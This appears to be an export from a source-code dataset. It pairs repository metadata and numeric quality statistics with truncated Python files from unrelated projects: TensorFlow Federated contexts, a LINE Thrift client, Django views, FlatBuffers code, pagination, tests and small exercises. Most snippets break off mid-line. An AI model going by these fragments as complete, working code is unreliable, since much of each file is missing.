from .prod... | 37.783505 | 76 | 0.708868 | 372 | 3,665 | 6.696237 | 0.188172 | 0.044962 | 0.132477 | 0.168607 | 0.213167 | 0.062625 | 0 | 0 | 0 | 0 | 0 | 0 | 0.225375 | 3,665 | 96 | 77 | 38.177083 | 0.877422 | 0.042292 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.228571 | false | 0 | 0.214286 | 0 | 0.671429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
7388a2b391edec8068c5c3fd3a45519283bf30d5 | 837 | py | Python | user-test.py | Barrack-coder/Password-locker | a4edde929971537d5126e3140766f843676abf43 | [
"MIT"
] | null | null | null | user-test.py | Barrack-coder/Password-locker | a4edde929971537d5126e3140766f843676abf43 | [
"MIT"
] | null | null | null | user-test.py | Barrack-coder/Password-locker | a4edde929971537d5126e3140766f843676abf43 | [
"MIT"
] | null | null | null | # import unittest
# from user import user
# from user import credentials
# class TestClass(unittest.TestCase):
# def setUp(self):
# self.new_user= user("Barry", "Barry@1234")
# def test_init(self):
# self.assertEqual =(self.newName,"Barry")
# sel... | 36.391304 | 81 | 0.557945 | 85 | 837 | 5.376471 | 0.294118 | 0.196937 | 0.207877 | 0.14442 | 0.544858 | 0.201313 | 0.201313 | 0.201313 | 0 | 0 | 0 | 0.022807 | 0.318996 | 837 | 23 | 82 | 36.391304 | 0.778947 | 0.899642 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
739754ff58ed0aa91372fae8a1ffa65d260feec8 | 2,254 | py | Python | tensorflow_federated/python/core/backends/xla/execution_contexts.py | zhihansh/federated-oss | 38cfcb05702ff7297db76d3ccb5f5afef53ca09b | [
"Apache-2.0"
] | 1,918 | 2019-02-22T21:17:28.000Z | 2022-03-30T14:49:53.000Z | tensorflow_federated/python/core/backends/xla/execution_contexts.py | zhihansh/federated-oss | 38cfcb05702ff7297db76d3ccb5f5afef53ca09b | [
"Apache-2.0"
] | 999 | 2019-02-22T21:47:44.000Z | 2022-03-31T11:06:42.000Z | tensorflow_federated/python/core/backends/xla/execution_contexts.py | zhihansh/federated-oss | 38cfcb05702ff7297db76d3ccb5f5afef53ca09b | [
"Apache-2.0"
] | 498 | 2019-02-22T21:17:56.000Z | 2022-03-29T02:54:15.000Z | # Copyright 2020, The TensorFlow Federated Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 41.740741 | 91 | 0.797693 | 307 | 2,254 | 5.680782 | 0.416938 | 0.119266 | 0.072248 | 0.083142 | 0.260321 | 0.237959 | 0.057339 | 0.057339 | 0 | 0 | 0 | 0.008705 | 0.13354 | 2,254 | 53 | 92 | 42.528302 | 0.884281 | 0.570541 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018868 | 0 | 1 | 0.142857 | false | 0 | 0.357143 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
73a1d4768f532c0e3d7d03bc69cb0e17b25c07bb | 1,939 | py | Python | LINEZX/Api/shop.py | HelloTan/linezx | 40f4c15b8cfb8de52aa837db5831dac4947adb9a | [
"MIT"
] | 2 | 2018-07-20T12:55:45.000Z | 2018-08-15T14:55:45.000Z | LINEZX/Api/shop.py | HelloTan/linezx | 40f4c15b8cfb8de52aa837db5831dac4947adb9a | [
"MIT"
] | null | null | null | LINEZX/Api/shop.py | HelloTan/linezx | 40f4c15b8cfb8de52aa837db5831dac4947adb9a | [
"MIT"
] | 1 | 2018-07-07T10:06:01.000Z | 2018-07-07T10:06:01.000Z | # -*- coding: utf-8 -*-
from thrift.transport import THttpClient
from thrift.protocol import TCompactProtocol
from .config import Config
from akad import ShopService
from akad.ttypes import *
class Shop(Config):
client = None
def __init__(self, authToken):
Config.__init__(self)
sel... | 43.088889 | 108 | 0.689531 | 213 | 1,939 | 6.173709 | 0.267606 | 0.060837 | 0.063878 | 0.095817 | 0.322433 | 0.162738 | 0.162738 | 0.109506 | 0.109506 | 0.109506 | 0 | 0.003868 | 0.200103 | 1,939 | 44 | 109 | 44.068182 | 0.843972 | 0.01083 | 0 | 0 | 0 | 0 | 0.035791 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.235294 | false | 0 | 0.147059 | 0.205882 | 0.647059 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
73a7fc1f2e13b1dc725aebbab60c24130260a362 | 2,090 | py | Python | lingcod/studyregion/views.py | google-code-export/marinemap | b7d58db11720637845b6a83bf70435c32c5af531 | [
"BSD-3-Clause"
] | 3 | 2017-06-09T20:44:58.000Z | 2017-12-26T12:09:21.000Z | lingcod/studyregion/views.py | underbluewaters/marinemap | c001e16615caa2178c65ca0684e1b6fd56d3f93d | [
"BSD-3-Clause"
] | null | null | null | lingcod/studyregion/views.py | underbluewaters/marinemap | c001e16615caa2178c65ca0684e1b6fd56d3f93d | [
"BSD-3-Clause"
] | 3 | 2016-11-30T13:41:56.000Z | 2019-05-07T17:07:12.000Z | from django.http import HttpResponse, HttpResponseRedirect, HttpResponseBadRequest, HttpResponseServerError, HttpResponseForbidden
from django.template import RequestContext
from django.shortcuts import get_object_or_404, render_to_response
from lingcod.common import default_mimetypes as mimetypes
from lingcod.comm... | 39.433962 | 137 | 0.711005 | 239 | 2,090 | 6.09205 | 0.338912 | 0.041209 | 0.068681 | 0.063187 | 0.384615 | 0.337912 | 0.337912 | 0.337912 | 0.273352 | 0.273352 | 0 | 0.007013 | 0.18134 | 2,090 | 52 | 138 | 40.192308 | 0.843951 | 0.117703 | 0 | 0.185185 | 0 | 0 | 0.060934 | 0.027904 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.333333 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
73a9ec1decac7bc2900d6ef88325ceefa8ff5617 | 539 | py | Python | lib/exceptions.py | yiayiao/taobao_auto_buy | 389efe48acad6a3b16ae2a107bb417489f12f624 | [
"Apache-2.0"
] | 75 | 2020-01-08T22:51:44.000Z | 2021-08-22T22:38:16.000Z | lib/exceptions.py | yiayiao/taobao_auto_buy | 389efe48acad6a3b16ae2a107bb417489f12f624 | [
"Apache-2.0"
] | 10 | 2020-02-04T10:48:52.000Z | 2021-06-22T03:33:32.000Z | lib/exceptions.py | yiayiao/taobao_auto_buy | 389efe48acad6a3b16ae2a107bb417489f12f624 | [
"Apache-2.0"
] | 30 | 2020-02-19T13:48:35.000Z | 2021-07-15T22:59:16.000Z | class SystemUnsupported(Exception):
def __init__(self):
message = "不支持您的系统"
super().__init__(message)
class SubClassInvaild(Exception):
def __init__(self):
message = "SubClass didn't provide needed function"
super().__init__(message)
class InvalidInputUrl(Exception):
def... | 22.458333 | 59 | 0.658627 | 51 | 539 | 6.333333 | 0.431373 | 0.148607 | 0.198142 | 0.247678 | 0.334365 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.231911 | 539 | 23 | 60 | 23.434783 | 0.780193 | 0 | 0 | 0.5 | 0 | 0 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
73c19314d6e4d13b386c12724384759236a9077d | 2,243 | py | Python | lemon/protocol/Image/CdnImageFetchResp.py | lemon-chat/lemon-server-python | 5947b52b3c4535ae54fe2705a830db07fdaf741d | [
"MIT"
] | null | null | null | lemon/protocol/Image/CdnImageFetchResp.py | lemon-chat/lemon-server-python | 5947b52b3c4535ae54fe2705a830db07fdaf741d | [
"MIT"
] | null | null | null | lemon/protocol/Image/CdnImageFetchResp.py | lemon-chat/lemon-server-python | 5947b52b3c4535ae54fe2705a830db07fdaf741d | [
"MIT"
] | null | null | null | # automatically generated by the FlatBuffers compiler, do not modify
# namespace: Image
import flatbuffers
from flatbuffers.compat import import_numpy
np = import_numpy()
class CdnImageFetchResp(object):
__slots__ = ['_tab']
@classmethod
def GetRootAsCdnImageFetchResp(cls, buf, offset):
n = flat... | 36.177419 | 149 | 0.701293 | 257 | 2,243 | 5.980545 | 0.284047 | 0.054652 | 0.143136 | 0.159401 | 0.392973 | 0.335068 | 0.279115 | 0.279115 | 0.216656 | 0.216656 | 0 | 0.014493 | 0.200178 | 2,243 | 61 | 150 | 36.770492 | 0.842252 | 0.085154 | 0 | 0.285714 | 1 | 0 | 0.001958 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.071429 | 0.047619 | 0.642857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
73c7d2479c4d1e666c228c7f65f5dc34f85544de | 570 | py | Python | producers/decorator.py | gurleen/dtv-gfx-next | 529c226a30c9b668a44e2a2470c3593287867caf | [
"MIT"
] | null | null | null | producers/decorator.py | gurleen/dtv-gfx-next | 529c226a30c9b668a44e2a2470c3593287867caf | [
"MIT"
] | null | null | null | producers/decorator.py | gurleen/dtv-gfx-next | 529c226a30c9b668a44e2a2470c3593287867caf | [
"MIT"
] | null | null | null | import functools
from . import *
import producers
producer_funcs = []
def producer(*args, **kwargs):
debug_only = kwargs.get("debug_only", False)
prod_only = kwargs.get("prod_only", False)
def factory(func):
producer_funcs.append((func, debug_only, prod_only))
@functools.wraps(func)
... | 19.655172 | 60 | 0.642105 | 70 | 570 | 5.085714 | 0.371429 | 0.109551 | 0.073034 | 0.101124 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006912 | 0.238596 | 570 | 28 | 61 | 20.357143 | 0.813364 | 0 | 0 | 0 | 0 | 0 | 0.033333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.166667 | 0.111111 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
73d7e36e0f5af950d58e18966f412469cf517ac3 | 931 | py | Python | src/metpy/_version.py | MethaneRain/MetPy | d5e1416e038dd01f9d528d824e12224ab56e009c | [
"BSD-3-Clause"
] | null | null | null | src/metpy/_version.py | MethaneRain/MetPy | d5e1416e038dd01f9d528d824e12224ab56e009c | [
"BSD-3-Clause"
] | 127 | 2020-10-27T15:12:37.000Z | 2022-03-30T16:05:31.000Z | src/metpy/_version.py | MethaneRain/MetPy | d5e1416e038dd01f9d528d824e12224ab56e009c | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2019 MetPy Developers.
# Distributed under the terms of the BSD 3-Clause License.
# SPDX-License-Identifier: BSD-3-Clause
"""Tools for versioning."""
def get_version():
"""Get MetPy's version.
Either get it from package metadata, or get it using version control information if
a developmen... | 34.481481 | 87 | 0.663802 | 104 | 931 | 5.788462 | 0.615385 | 0.049834 | 0.033223 | 0.089701 | 0.179402 | 0.179402 | 0 | 0 | 0 | 0 | 0 | 0.011561 | 0.256713 | 931 | 26 | 88 | 35.807692 | 0.858382 | 0.346939 | 0 | 0.214286 | 0 | 0 | 0.056799 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | true | 0 | 0.357143 | 0 | 0.642857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
73ec25c709ed7bbba8bf8288a093ad286649cf58 | 230 | py | Python | pekobot/default_config.py | Akegarasu/pekobot | 402075d4de13d3fd9e58f22fc62338c58fb96663 | [
"BSD-2-Clause"
] | 2 | 2021-02-09T03:28:30.000Z | 2021-04-27T17:58:19.000Z | pekobot/default_config.py | Akegarasu/pekobot | 402075d4de13d3fd9e58f22fc62338c58fb96663 | [
"BSD-2-Clause"
] | null | null | null | pekobot/default_config.py | Akegarasu/pekobot | 402075d4de13d3fd9e58f22fc62338c58fb96663 | [
"BSD-2-Clause"
] | null | null | null | from datetime import timedelta
from typing import Collection, Union, Iterable, Pattern, Optional, Dict, Any
COMPRESS: int = 1
DEBUG: bool = True
API_VERSION: int = 3
API_URL: str = f"https://www.kaiheila.cn/api/v{API_VERSION}"
| 23 | 76 | 0.747826 | 36 | 230 | 4.694444 | 0.805556 | 0.118343 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010152 | 0.143478 | 230 | 9 | 77 | 25.555556 | 0.847716 | 0 | 0 | 0 | 0 | 0 | 0.183406 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
73f108b86b2b6641b0239d0f4e78bcf681b01f10 | 144 | py | Python | codewof/programming/content/en/reverse-string/solution.py | taskmaker1/codewof | 92d52cd3ee91f0f311ff01a92cf6ec07e5593b8d | [
"MIT"
] | 3 | 2019-08-29T04:11:22.000Z | 2021-06-22T16:05:51.000Z | codewof/programming/content/en/reverse-string/solution.py | taskmaker1/codewof | 92d52cd3ee91f0f311ff01a92cf6ec07e5593b8d | [
"MIT"
] | 265 | 2019-05-30T03:51:46.000Z | 2022-03-31T01:05:12.000Z | codewof/programming/content/en/reverse-string/solution.py | samuelsandri/codewof | c9b8b378c06b15a0c42ae863b8f46581de04fdfc | [
"MIT"
] | 7 | 2019-06-29T12:13:37.000Z | 2021-09-06T06:49:14.000Z | def reverse_string(string):
reverse = ''
for char in range(len(string) - 1, -1, -1):
reverse += string[char]
print(reverse)
| 24 | 47 | 0.590278 | 19 | 144 | 4.421053 | 0.526316 | 0.309524 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028037 | 0.256944 | 144 | 5 | 48 | 28.8 | 0.757009 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.2 | 0.2 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
73f39e42318716e272273d743fb0c7cfd170716d | 145 | py | Python | restorm/exceptions.py | josesanch/restorm | 2a8af13e57151ea985445e1e7189158f20cd9676 | [
"MIT"
] | 1 | 2015-07-16T15:00:04.000Z | 2015-07-16T15:00:04.000Z | restorm/exceptions.py | josesanch/restorm | 2a8af13e57151ea985445e1e7189158f20cd9676 | [
"MIT"
] | null | null | null | restorm/exceptions.py | josesanch/restorm | 2a8af13e57151ea985445e1e7189158f20cd9676 | [
"MIT"
] | null | null | null | class RestException(Exception):
pass
class ResourceException(RestException):
pass
class RestServerException(RestException):
pass
| 13.181818 | 41 | 0.765517 | 12 | 145 | 9.25 | 0.5 | 0.162162 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172414 | 145 | 10 | 42 | 14.5 | 0.925 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
fb47e7a4e34dc79a3540da9d562779befff02f36 | 209 | py | Python | programming-logic/placeholder.py | raulrosapacheco/python3-udemy | b84e6f82417aecd0e2a28c3fb3cb222e057a660b | [
"MIT"
] | null | null | null | programming-logic/placeholder.py | raulrosapacheco/python3-udemy | b84e6f82417aecd0e2a28c3fb3cb222e057a660b | [
"MIT"
] | null | null | null | programming-logic/placeholder.py | raulrosapacheco/python3-udemy | b84e6f82417aecd0e2a28c3fb3cb222e057a660b | [
"MIT"
] | null | null | null | """
'pass' or '...' (ellipsis) works as a placeholder for the programmer to write something later
"""
valor = True
if valor:
pass
else:
print('Bye')
print()
if valor:
...
else:
print('Bye')
| 12.294118 | 93 | 0.602871 | 28 | 209 | 4.5 | 0.714286 | 0.111111 | 0.190476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.239234 | 209 | 16 | 94 | 13.0625 | 0.792453 | 0.444976 | 0 | 0.6 | 0 | 0 | 0.055556 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.1 | 0 | 0 | 0 | 0.3 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
fb632ece452922eaad81259b7a53f4c983cf14ad | 456 | py | Python | nni/algorithms/compression/pytorch/quantization/__init__.py | dutxubo/nni | c16f4e1c89b54b8b80661ef0072433d255ad2d24 | [
"MIT"
] | 9,680 | 2019-05-07T01:42:30.000Z | 2022-03-31T16:48:33.000Z | nni/algorithms/compression/pytorch/quantization/__init__.py | dutxubo/nni | c16f4e1c89b54b8b80661ef0072433d255ad2d24 | [
"MIT"
] | 1,957 | 2019-05-06T21:44:21.000Z | 2022-03-31T09:21:53.000Z | nni/algorithms/compression/pytorch/quantization/__init__.py | dutxubo/nni | c16f4e1c89b54b8b80661ef0072433d255ad2d24 | [
"MIT"
] | 1,571 | 2019-05-07T06:42:55.000Z | 2022-03-31T03:19:24.000Z | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
from .bnn_quantizer import BNNQuantizer
from .dorefa_quantizer import DoReFaQuantizer
from .lsq_quantizer import LsqQuantizer
from .native_quantizer import NaiveQuantizer
from .observer_quantizer import ObserverQuantizer
from .qat_quantizer impor... | 35.076923 | 117 | 0.828947 | 48 | 456 | 7.625 | 0.5 | 0.245902 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.100877 | 456 | 12 | 118 | 38 | 0.892683 | 0.149123 | 0 | 0 | 0 | 0 | 0.215584 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.857143 | 0 | 0.857143 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
fb7096c4be6076a0b02196abdbe74f8929579471 | 227 | py | Python | api/boilerplate/exceptions.py | SteffenBerlin/django-rest-chatbot | 8c7966f38ccd6fb0eb71dc2025f74f88ccfa89cd | [
"MIT"
] | null | null | null | api/boilerplate/exceptions.py | SteffenBerlin/django-rest-chatbot | 8c7966f38ccd6fb0eb71dc2025f74f88ccfa89cd | [
"MIT"
] | null | null | null | api/boilerplate/exceptions.py | SteffenBerlin/django-rest-chatbot | 8c7966f38ccd6fb0eb71dc2025f74f88ccfa89cd | [
"MIT"
] | null | null | null | from rest_framework.exceptions import APIException
class ServiceUnavailable(APIException):
status_code = 503
default_detail = 'Service temporarily unavailable, try again later.'
default_code = 'service_unavailable' | 37.833333 | 72 | 0.801762 | 24 | 227 | 7.375 | 0.791667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015385 | 0.140969 | 227 | 6 | 73 | 37.833333 | 0.892308 | 0 | 0 | 0 | 0 | 0 | 0.298246 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
fb7b3732a00d5933c96ba7ee53002e202f3ffdfe | 866 | py | Python | ninjin/pagination.py | dmitrii-sim/ninjin | 6c3edb46ec873f28ed0b1fcbe20193445e3107e9 | [
"MIT"
] | 2 | 2020-06-03T07:44:46.000Z | 2020-06-05T11:30:46.000Z | ninjin/pagination.py | dmitrii-sim/ninjin | 6c3edb46ec873f28ed0b1fcbe20193445e3107e9 | [
"MIT"
] | null | null | null | ninjin/pagination.py | dmitrii-sim/ninjin | 6c3edb46ec873f28ed0b1fcbe20193445e3107e9 | [
"MIT"
] | 1 | 2020-06-18T15:59:18.000Z | 2020-06-18T15:59:18.000Z | class BasicPagination:
items_per_page = 1
max_items_per_page = 100
def __init__(self,
pagination: dict = None,
items_per_page: int = None,
max_items_per_page: int = None):
pagination = pagination or {}
self.page = pagination.get('page', 0)
... | 28.866667 | 61 | 0.581986 | 107 | 866 | 4.401869 | 0.271028 | 0.203822 | 0.305732 | 0.159236 | 0.329087 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010309 | 0.327945 | 866 | 29 | 62 | 29.862069 | 0.798969 | 0.016166 | 0 | 0 | 0 | 0 | 0.025882 | 0 | 0 | 0 | 0 | 0.034483 | 0 | 1 | 0.125 | false | 0 | 0 | 0.083333 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
fb7edea6547e5448747188195492f349f50755fb | 18,847 | py | Python | tests/test_gen/test_case_runner.py | toddrme2178/xyzpy | d71057df6cd7db48cfcbfacc21e77b4b79176afa | [
"MIT"
] | null | null | null | tests/test_gen/test_case_runner.py | toddrme2178/xyzpy | d71057df6cd7db48cfcbfacc21e77b4b79176afa | [
"MIT"
] | null | null | null | tests/test_gen/test_case_runner.py | toddrme2178/xyzpy | d71057df6cd7db48cfcbfacc21e77b4b79176afa | [
"MIT"
] | null | null | null | import pytest
import xarray as xr
import numpy as np
from numpy.testing import assert_allclose
from xyzpy.gen.case_runner import (
case_runner,
_cases_to_ds,
case_runner_to_ds,
find_missing_cases,
fill_missing_cases,
)
from xyzpy.gen.combo_runner import combo_runner_to_ds
from . import (
foo3_s... | 46.080685 | 79 | 0.408871 | 2,365 | 18,847 | 3.103594 | 0.078647 | 0.012807 | 0.041417 | 0.019074 | 0.78406 | 0.748638 | 0.724387 | 0.671526 | 0.640055 | 0.639237 | 0 | 0.080735 | 0.387489 | 18,847 | 408 | 80 | 46.193627 | 0.555094 | 0.037831 | 0 | 0.50838 | 0 | 0 | 0.032023 | 0 | 0 | 0 | 0 | 0 | 0.22067 | 1 | 0.075419 | false | 0 | 0.019553 | 0 | 0.108939 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
fbd81201ced4fe0564a5952c5882dbc41438e5b9 | 1,300 | py | Python | tests/conftest.py | sobelek/pymongo-migrate | de2347007cceb9c0594718959cf4d6652727a8b5 | [
"Apache-2.0"
] | null | null | null | tests/conftest.py | sobelek/pymongo-migrate | de2347007cceb9c0594718959cf4d6652727a8b5 | [
"Apache-2.0"
] | null | null | null | tests/conftest.py | sobelek/pymongo-migrate | de2347007cceb9c0594718959cf4d6652727a8b5 | [
"Apache-2.0"
] | null | null | null | import random
from datetime import timezone
from pathlib import Path
import pymongo
import pytest
from bson import CodecOptions
from pymongo_migrate.mongo_migrate import MongoMigrate
TEST_DIR = Path(__file__).parent
@pytest.fixture
def mongo_url():
return "mongodb://localhost:27017/"
@pytest.fixture
def db_n... | 20.3125 | 86 | 0.73 | 178 | 1,300 | 5.08427 | 0.337079 | 0.114917 | 0.141436 | 0.079558 | 0.059669 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015568 | 0.16 | 1,300 | 63 | 87 | 20.634921 | 0.813187 | 0.003846 | 0 | 0.186047 | 0 | 0 | 0.072699 | 0.020108 | 0 | 0 | 0 | 0 | 0 | 1 | 0.209302 | false | 0 | 0.162791 | 0.116279 | 0.534884 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
fbda7db9488522776ba4241a52e61804eb5525a3 | 244 | py | Python | OOP/simpleclass.py | HarshilPatel007/learn-python | e64e6f8c95d39bfc229519ee7043787864997cdf | [
"MIT"
] | null | null | null | OOP/simpleclass.py | HarshilPatel007/learn-python | e64e6f8c95d39bfc229519ee7043787864997cdf | [
"MIT"
] | null | null | null | OOP/simpleclass.py | HarshilPatel007/learn-python | e64e6f8c95d39bfc229519ee7043787864997cdf | [
"MIT"
] | null | null | null |
class Smartphone:
def gallary(self):
print("Gallary")
def browser(self):
print("Browser")
def app_store(self):
print("App Store")
x = Smartphone()
x.gallary()
x.browser()
x.gallary()
| 12.842105 | 27 | 0.536885 | 27 | 244 | 4.814815 | 0.37037 | 0.207692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.32377 | 244 | 18 | 28 | 13.555556 | 0.787879 | 0 | 0 | 0.181818 | 0 | 0 | 0.102222 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0 | 0 | 0.363636 | 0.272727 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
fbdd9dcc5719737b6e2f6f877ae80b0cc5d6cbe3 | 948 | py | Python | savu/plugins/filters/denoising/base_median_filter_tools.py | nghia-vo/Savu | 1cf7343c141224643b2e1fb2f05e74448bc4fd58 | [
"Apache-2.0"
] | null | null | null | savu/plugins/filters/denoising/base_median_filter_tools.py | nghia-vo/Savu | 1cf7343c141224643b2e1fb2f05e74448bc4fd58 | [
"Apache-2.0"
